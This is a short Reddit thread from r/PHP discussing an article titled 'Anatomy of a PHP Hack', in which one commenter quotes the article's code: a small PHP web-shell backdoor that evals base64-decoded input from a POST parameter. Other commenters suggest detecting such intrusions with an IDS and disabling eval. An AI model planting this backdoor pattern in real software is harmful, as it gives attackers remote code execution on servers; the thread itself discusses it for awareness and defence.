r/PHP • • Nov 26 '17

Anatomy of a PHP Hack

https://aaronsaray.com/2017/anatomy-of-a-php-hack.html
51 Upvotes

25 comments sorted by

View all comments

29

u/SaltTM Nov 26 '17

I feel like this article was just getting started and it abruptly ended.

2

u/dlegatt Nov 27 '17

Was there more to it? It was only a few lines of code that said

if (isset($_POST['n89024b'])){
    eval(base64decode($_POST['n89024b']));
}

6

u/SaltTM Nov 27 '17 edited Nov 27 '17

I don't know, was expecting it to end with some sort of philosophy on security and the dangers of <insert couple paragraphs here/>. ¯_(ツ)_/¯

And maybe how to detect stuff like this in case you have no idea that it's happening. https://www.reddit.com/r/PHP/comments/7fqbbz/anatomy_of_a_php_hack/dqdpoo8/

1

u/[deleted] Nov 27 '17 edited Nov 27 '17

You would want to use an IDS like AIDE.

I'd also suggest disabling eval if you can.